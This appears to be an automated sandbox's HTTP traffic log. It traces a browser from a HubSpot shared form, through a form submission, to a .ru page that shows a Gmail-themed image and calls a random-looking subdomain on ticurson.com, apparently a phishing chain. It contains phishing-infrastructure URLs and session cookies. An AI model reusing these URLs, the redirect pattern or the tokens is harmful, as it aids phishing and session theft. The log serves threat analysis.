Source: global traffic	HTTP traffic detected: GET /StyleGuideUI/static-3.412/img/sprocket/favicon-32x32.png HTTP/1.1Host: static.hsappstatic.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=TisDfS5EwCkPQO9w8G49nm2Q3wEv82zBmhpEfkJWsQI-1734371127-1.0.1.1-PNFKVZypApjTtVjs6mS_xRrMB9T1HEFhDH7z0CuKX4RHWpZAXaGqsF6zfpiqqvdiZ8.FyF.R4M2P0JXbYdtD9w
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=15&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ec27e9b1-af2a-4958-ae16-76515f29bf94&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371127337&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=17&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ec27e9b1-af2a-4958-ae16-76515f29bf94&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371127362&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /collected-forms/v1/config/json?portalId=48192692&utk= HTTP/1.1Host: forms.hscollectedforms.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371126855&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=4ihQEUKPqo_ulTxS_vGBJUaNrx0_oGNwi1HxNQc8ZIo-1734371129-1.0.1.1-FKxNazbuWkvlN_rfzqMqV5kSsqId3OXZbeUdimBI.THNWOD8b_unLTjZGtzIEg_WSpC3lKWhOBj_.Qq2TsTyoA; _cfuvid=8GTh7N1f9kXHxOnnEDc1xNoh3pfUdUpgsiaVLWEqP8Q-1734371129944-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1 HTTP/1.1Host: forms.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=18&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ec27e9b1-af2a-4958-ae16-76515f29bf94&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371129218&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=4ihQEUKPqo_ulTxS_vGBJUaNrx0_oGNwi1HxNQc8ZIo-1734371129-1.0.1.1-FKxNazbuWkvlN_rfzqMqV5kSsqId3OXZbeUdimBI.THNWOD8b_unLTjZGtzIEg_WSpC3lKWhOBj_.Qq2TsTyoA; _cfuvid=8GTh7N1f9kXHxOnnEDc1xNoh3pfUdUpgsiaVLWEqP8Q-1734371129944-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-DEFINITION_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
Source: global traffic	HTTP traffic detected: GET /hubfs/48192692/images-4.png HTTP/1.1Host: 48192692.fs1.hubspotusercontent-na1.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=XePQrCj9SQje7DCrJetJxTsmNcKctck20nFv6LkXIWU-1734371130-1.0.1.1-k2mDGs2Mn44sf.GKPjXeYRbPMWGFPvs3kmOXHUy1w01SpPJ_BAaGwLp2BuDjq5DBXr4ZMQUTiGTOLnET5uqZmg
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=15&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ec27e9b1-af2a-4958-ae16-76515f29bf94&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371127337&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=0W8Xsisx4_GEmtSEmk4n4e7mNv6LA8oFX_Fuoncr7nw-1734371131-1.0.1.1-d_pCOkpE65R070J7LgYnXL9IC5c6ClSuli1Htx9TkVodc4BCqYY6bfoCb0MY2JqXX5GFAf3Qg23ZjToNJPlU0g; _cfuvid=EX4vnjnhtkGJz.3gxOHf37tX9p5PhBwWaAwO0VK8Wzc-1734371131602-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=17&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ec27e9b1-af2a-4958-ae16-76515f29bf94&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371127362&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=18&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ec27e9b1-af2a-4958-ae16-76515f29bf94&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371129218&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /submissions/v3/public/submit/formsnext/multipart/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1Host: forms.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-SUBMISSION_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-SUBMISSION_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
Source: global traffic	HTTP traffic detected: GET /5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413 HTTP/1.1Host: qb06.ffcwygff.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://qb06.ffcwygff.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: qb06.ffcwygff.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IndReHZDbHBwR2pSa0lHNDZoKzNHL2c9PSIsInZhbHVlIjoia3JmMy9CWjd2MXNIZFMxbDIzS3M3U2hkbmlwdVNjOVQyNGZ1aXF6dnViVkd2ZjZzYW40T1R3M3hLL0hrVEtqMW51dkJRbFAwdzQzVFJwSFhlb00zT3IyNEttR0kzWlN3R0ZIdlFBOEQyQzVaTm1XYzlUTmVkTVJ2Tk5oNU1TNHkiLCJtYWMiOiJhY2U0YjMxM2VhOTE0YmVjMzA4MmZjNGFmYjkyOTk2ZDY5ODFkYmQ5OTFkMzlmZDM2ZTgzNjBmZjdiOTYyN2JmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJLTHd3MXVwUjBkU1RoL1ZBREtUVHc9PSIsInZhbHVlIjoiUFUraEVUeHRzZ2JFM0MxQUxCN3plditLK1pwY1VMRFQwVmg1NGdLNHQxVGdNclVFN0k0TEdNem5aNEllY0RHRWdPWk5ycitNOHdDUWNnQjlaNVRvQWVKNXNPdENlRlRjTktnUGNXbE9HZjQ5YmYvbUREUDdBODdsdi84NXBJVFUiLCJtYWMiOiI2MzczNmE5N2ZhMGI2MzU0ODc4NjhmZDE5NGRkMTEyOThiY2UzYzZlOGRkYWEzMmM1Nzg0MDk3ZWMyODY0NDQ2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1Host: cdn.prod.website-files.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qb06.ffcwygff.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1Host: cdn.prod.website-files.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=uERKZEIntBvTcxz9ApikiFoU8AGeCgl0xbvQLXkZOJY-1734371146-1.0.1.1-G9a.2McFv3omd7tATyWMQPTk_MrxhRZJYwVNTg2Fvj.cCgSTgRl1SWgw3E1EL21zExPstIOQ1MiVQs_dn9ybuw
Source: global traffic	HTTP traffic detected: GET /FgtghLsnTOfHLldcKZeJfKXQvQpFWGOAXXYVFQHFOEDPIZIZKGCIECWEFUOCUVB HTTP/1.1Host: 5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://qb06.ffcwygff.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://qb06.ffcwygff.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /FgtghLsnTOfHLldcKZeJfKXQvQpFWGOAXXYVFQHFOEDPIZIZKGCIECWEFUOCUVB HTTP/1.1Host: 5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /FgtghLsnTOfHLldcKZeJfKXQvQpFWGOAXXYVFQHFOEDPIZIZKGCIECWEFUOCUVB HTTP/1.1Host: 5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://qb06.ffcwygff.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://qb06.ffcwygff.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
